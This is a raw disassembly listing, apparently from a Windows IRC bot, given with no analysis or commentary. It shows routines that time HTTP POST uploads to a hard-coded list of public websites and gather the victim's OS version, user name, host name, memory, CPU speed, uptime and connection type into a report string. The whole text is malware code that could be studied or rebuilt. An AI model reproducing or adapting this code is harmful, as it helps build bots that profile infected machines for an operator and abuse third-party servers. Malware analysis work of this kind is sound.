		push	0
		call	sub_419263
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41AA89
		push	offset dword_43CEF8
		jmp	short loc_41AA8E
; ---------------------------------------------------------------------------


loc_41AA89:				; CODE XREF: sub_41A811+26Fj
		push	offset dword_43CEB8


loc_41AA8E:				; CODE XREF: sub_41A811+276j
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41AAB8
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41AAB8:				; CODE XREF: sub_41A811+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415F45
		pop	ecx


loc_41AAC5:				; CODE XREF: sub_41A811+20Bj
					; sub_41A811+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41AA14


loc_41AAD0:				; CODE XREF: sub_41A811+1FDj
		lea	eax, [ebp+var_220]
		push	offset dword_43CE70
		push	eax
		call	sub_41BEF6
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41AAFB
; ---------------------------------------------------------------------------


loc_41AAE8:				; CODE XREF: sub_41A811+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43CAC8
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41AAFB:				; CODE XREF: sub_41A811+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AB19
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41AB19:				; CODE XREF: sub_41A811+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415F45
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_41A811	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB2D	proc near		; CODE XREF: sub_41AD24+CBp
					; sub_41AD24+DDp ...

arg_0		= dword	ptr  4

		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_41BF52
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AB2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB47	proc near		; CODE XREF: sub_41AD24+D4p
					; sub_41AD24+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B650
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AD20
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BC00
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A7C5
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AD20
		push	50h
		call	dword_4CE308	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AD20
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AD20
		push	32003h
		call	sub_41D635
		mov	edi, dword_4280B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41BF48
		call	sub_41BF52
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BC00
		push	32000h
		push	esi
		push	ebx
		call	sub_41BC00
		push	ebx
		call	sub_41B650
		push	323EAh
		mov	ebx, eax
		call	sub_41D635
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41BEF6
		push	[ebp+var_8]
		push	esi
		call	sub_41C530
		push	offset asc_436F68 ; "\r\n"
		push	esi
		call	sub_41C530
		add	esp, 40h
		push	esi
		call	sub_41B650
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AC9E
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AC6E
; ---------------------------------------------------------------------------


loc_41AC6B:				; CODE XREF: sub_41AB47+155j
		mov	eax, [ebp+arg_0]


loc_41AC6E:				; CODE XREF: sub_41AB47+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		jnb	short loc_41AC80
		push	[ebp+var_C]
		jmp	short loc_41AC81
; ---------------------------------------------------------------------------


loc_41AC80:				; CODE XREF: sub_41AB47+132j
		push	ebx


loc_41AC81:				; CODE XREF: sub_41AB47+137j
		push	eax
		push	[ebp+var_4]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AD07
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AC6B


loc_41AC9E:				; CODE XREF: sub_41AB47+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4286FC
		fst	[ebp+arg_0]
		fcomp	flt_4286F8
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41ACC8
		fld1
		fstp	[ebp+arg_0]


loc_41ACC8:				; CODE XREF: sub_41AB47+17Aj
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_8]
		call	sub_41B721
		push	esi
		call	sub_41B721
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4286F4
		fmul	flt_4286F0
		call	sub_41CE04


loc_41AD02:				; CODE XREF: sub_41AB47+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AD07:				; CODE XREF: sub_41AB47+147j
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_8]
		call	sub_41B721
		push	esi
		call	sub_41B721
		pop	ecx
		pop	ecx


loc_41AD20:				; CODE XREF: sub_41AB47+19j
					; sub_41AB47+42j ...
		xor	eax, eax
		jmp	short loc_41AD02
sub_41AB47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD24	proc near		; CODE XREF: sub_401AA1+2E11p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AB2D
		push	[ebp+eax*4+var_3C]
		call	sub_41AB47
		push	8
		mov	esi, eax
		call	sub_41AB2D
		push	[ebp+eax*4+var_3C]
		call	sub_41AB47
		add	esp, 10h
		test	esi, esi
		jz	short loc_41AE25
		test	eax, eax
		jz	short loc_41AE21
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41AE27
; ---------------------------------------------------------------------------


loc_41AE21:				; CODE XREF: sub_41AD24+F4j
		mov	ebx, esi
		jmp	short loc_41AE27
; ---------------------------------------------------------------------------


loc_41AE25:				; CODE XREF: sub_41AD24+F0j
		mov	ebx, eax


loc_41AE27:				; CODE XREF: sub_41AD24+FBj
					; sub_41AD24+FFj
		push	0Ch
		call	sub_41AB2D
		push	[ebp+eax*4+var_6C]
		call	sub_41AB47
		push	0Ch
		mov	edi, eax
		call	sub_41AB2D
		push	[ebp+eax*4+var_6C]
		call	sub_41AB47
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AE5F
		test	eax, eax
		jz	short loc_41AE5B
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AE61
; ---------------------------------------------------------------------------


loc_41AE5B:				; CODE XREF: sub_41AD24+12Ej
		mov	esi, edi
		jmp	short loc_41AE61
; ---------------------------------------------------------------------------


loc_41AE5F:				; CODE XREF: sub_41AD24+12Aj
		mov	esi, eax


loc_41AE61:				; CODE XREF: sub_41AD24+135j
					; sub_41AD24+139j
		push	6
		call	sub_41AB2D
		push	[ebp+eax*4+var_1C]
		call	sub_41AB47
		push	6
		mov	edi, eax
		call	sub_41AB2D
		push	[ebp+eax*4+var_1C]
		call	sub_41AB47
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AE99
		test	eax, eax
		jz	short loc_41AE95
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AE95:				; CODE XREF: sub_41AD24+168j
		mov	ecx, edi
		jmp	short loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AE99:				; CODE XREF: sub_41AD24+164j
		mov	ecx, eax


loc_41AE9B:				; CODE XREF: sub_41AD24+16Fj
					; sub_41AD24+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AEA8
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AEA8:				; CODE XREF: sub_41AD24+17Bj
		push	2
		pop	edi


loc_41AEAB:				; CODE XREF: sub_41AD24+182j
		test	esi, esi
		jz	short loc_41AEB3
		add	eax, esi
		jmp	short loc_41AEB4
; ---------------------------------------------------------------------------


loc_41AEB3:				; CODE XREF: sub_41AD24+189j
		dec	edi


loc_41AEB4:				; CODE XREF: sub_41AD24+18Dj
		test	ecx, ecx
		jz	short loc_41AEBC
		add	eax, ecx
		jmp	short loc_41AEBD
; ---------------------------------------------------------------------------


loc_41AEBC:				; CODE XREF: sub_41AD24+192j
		dec	edi


loc_41AEBD:				; CODE XREF: sub_41AD24+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43D0D8
		push	eax
		call	sub_41BEF6
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415F45
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD24	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF01	proc near		; CODE XREF: sub_401AA1+253Ep
					; sub_401AA1+2998p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4280B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_4DE590
		push	32h
		push	esi
		call	sub_41BFF0
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41AF01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF54	proc near		; CODE XREF: sub_4174AA+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4280D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41AFE6
		cmp	[ebp+var_90], 4
		jnz	short loc_41AFBC
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AFA4
		cmp	[ebp+var_84], 1
		jnz	short loc_41AF96
		inc	esi


loc_41AF96:				; CODE XREF: sub_41AF54+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AFE6
		xor	esi, esi
		inc	esi
		jmp	short loc_41AFE6
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41AF54+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AFB1


loc_41AFAD:				; CODE XREF: sub_41AF54+77j
		push	2
		jmp	short loc_41AFE5
; ---------------------------------------------------------------------------


loc_41AFB1:				; CODE XREF: sub_41AF54+57j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AFE6
		jmp	short loc_41AFD6
; ---------------------------------------------------------------------------


loc_41AFBC:				; CODE XREF: sub_41AF54+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AFE6
		cmp	[ebp+var_8C], esi
		jz	short loc_41AFAD
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AFDA


loc_41AFD6:				; CODE XREF: sub_41AF54+66j
		push	3
		jmp	short loc_41AFE5
; ---------------------------------------------------------------------------


loc_41AFDA:				; CODE XREF: sub_41AF54+80j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AFE6
		push	7


loc_41AFE5:				; CODE XREF: sub_41AF54+5Bj
					; sub_41AF54+84j
		pop	esi


loc_41AFE6:				; CODE XREF: sub_41AF54+25j
					; sub_41AF54+49j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AF54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFEB	proc near		; CODE XREF: sub_41B0A1+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_41AFF3:				; CODE XREF: sub_41AFEB+2Fj
					; sub_41AFEB+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_428080	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_41DAB0
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_41AFF3
		jb	short loc_41B022
		cmp	ebx, edi
		ja	short loc_41AFF3


loc_41B022:				; CODE XREF: sub_41AFEB+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_41DB20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41B095
		jb	short loc_41B041
		cmp	edi, 50h
		jnb	short loc_41B046


loc_41B041:				; CODE XREF: sub_41AFEB+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41B046:				; CODE XREF: sub_41AFEB+54j
		test	ecx, ecx
		ja	short loc_41B095
		jb	short loc_41B051
		cmp	edi, 47h
		jnb	short loc_41B056


loc_41B051:				; CODE XREF: sub_41AFEB+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41B056:				; CODE XREF: sub_41AFEB+64j
		test	ecx, ecx
		ja	short loc_41B095
		jb	short loc_41B061
		cmp	edi, 37h
		jnb	short loc_41B066


loc_41B061:				; CODE XREF: sub_41AFEB+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41B066:				; CODE XREF: sub_41AFEB+74j
		test	ecx, ecx
		ja	short loc_41B095
		jb	short loc_41B071
		cmp	edi, 26h
		jnb	short loc_41B076


loc_41B071:				; CODE XREF: sub_41AFEB+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41B076:				; CODE XREF: sub_41AFEB+84j
		test	ecx, ecx
		ja	short loc_41B095
		jb	short loc_41B081
		cmp	edi, 1Eh
		jnb	short loc_41B086


loc_41B081:				; CODE XREF: sub_41AFEB+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41B086:				; CODE XREF: sub_41AFEB+94j
		test	ecx, ecx
		ja	short loc_41B095
		jb	short loc_41B091
		cmp	edi, 0Ah
		jnb	short loc_41B095


loc_41B091:				; CODE XREF: sub_41AFEB+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41B095:				; CODE XREF: sub_41AFEB+4Dj
					; sub_41AFEB+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_41AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0A1	proc near		; CODE XREF: sub_401AA1+26E9p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4404C4
		mov	[ebp+var_CC], 94h
		call	dword_4280D0	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B128
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B104
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B0EE
		mov	[ebp+var_4], offset a95	; "95"


loc_41B0EE:				; CODE XREF: sub_41B0A1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B1A3
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41B174
; ---------------------------------------------------------------------------


loc_41B104:				; CODE XREF: sub_41B0A1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B116
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41B16B
; ---------------------------------------------------------------------------


loc_41B116:				; CODE XREF: sub_41B0A1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B164
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41B16B
; ---------------------------------------------------------------------------


loc_41B128:				; CODE XREF: sub_41B0A1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B164
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B142
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41B16B
; ---------------------------------------------------------------------------


loc_41B142:				; CODE XREF: sub_41B0A1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B154
		mov	[ebp+var_4], offset aXp_0 ; "XP"
		jmp	short loc_41B16B
; ---------------------------------------------------------------------------


loc_41B154:				; CODE XREF: sub_41B0A1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B16B


loc_41B164:				; CODE XREF: sub_41B0A1+7Cj
					; sub_41B0A1+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41B16B:				; CODE XREF: sub_41B0A1+73j
					; sub_41B0A1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B1A3


loc_41B174:				; CODE XREF: sub_41B0A1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B1A3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_438E04
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B1A3:				; CODE XREF: sub_41B0A1+54j
					; sub_41B0A1+D1j ...
		mov	ax, word_43A7FC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CE1E8
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_41B1DC
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41B1DC:				; CODE XREF: sub_41B0A1+12Cj
		push	[ebp+arg_4]
		call	sub_40A8D5
		pop	ecx
		push	eax
		call	dword_4CE348	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_4CE2C0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B205
		push	dword ptr [eax]
		jmp	short loc_41B20A
; ---------------------------------------------------------------------------


loc_41B205:				; CODE XREF: sub_41B0A1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B20A:				; CODE XREF: sub_41B0A1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41BEF6
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_42807C	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43D3D0
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_428114	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_428110	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4281A0	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C041
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_416FD0
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41AF01
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416EC1
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416EC1
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AFEB
		push	edx
		push	eax
		push	offset dword_43D2E8
		push	200h
		push	[ebp+arg_0]
		call	sub_41BFF0
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B355	proc near		; CODE XREF: sub_401AA1+2717p
					; sub_401AA1+7156p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		cmp	dword_4CE3EC, 0
		jnz	short loc_41B3C9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CE1CC	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_41B3AA
		lea	eax, [ebp+var_8C]
		push	offset dword_43D458
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41B3AA:				; CODE XREF: sub_41B355+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_41B3C2
		push	offset dword_43D450


loc_41B3B8:				; CODE XREF: sub_41B355+72j
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	short loc_41B3E8
; ---------------------------------------------------------------------------


loc_41B3C2:				; CODE XREF: sub_41B355+5Cj
		push	offset off_43D44C
		jmp	short loc_41B3B8
; ---------------------------------------------------------------------------


loc_41B3C9:				; CODE XREF: sub_41B355+28j
		mov	esi, offset off_43D448
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41BEF6
		add	esp, 10h


loc_41B3E8:				; CODE XREF: sub_41B355+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43D3F8
		push	200h
		push	[ebp+arg_0]
		call	sub_41BFF0
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B355	endp

; ---------------------------------------------------------------------------


loc_41B41B:				; DATA XREF: sub_401AA1+7501o
		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-35Ch]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp-148h]
		push	ebx
		push	eax
		mov	[ebp-0Ch], ebx
		mov	[ebp-4], ebx
		mov	dword ptr [ebp-8], offset dword_43D594
		call	sub_41BC00
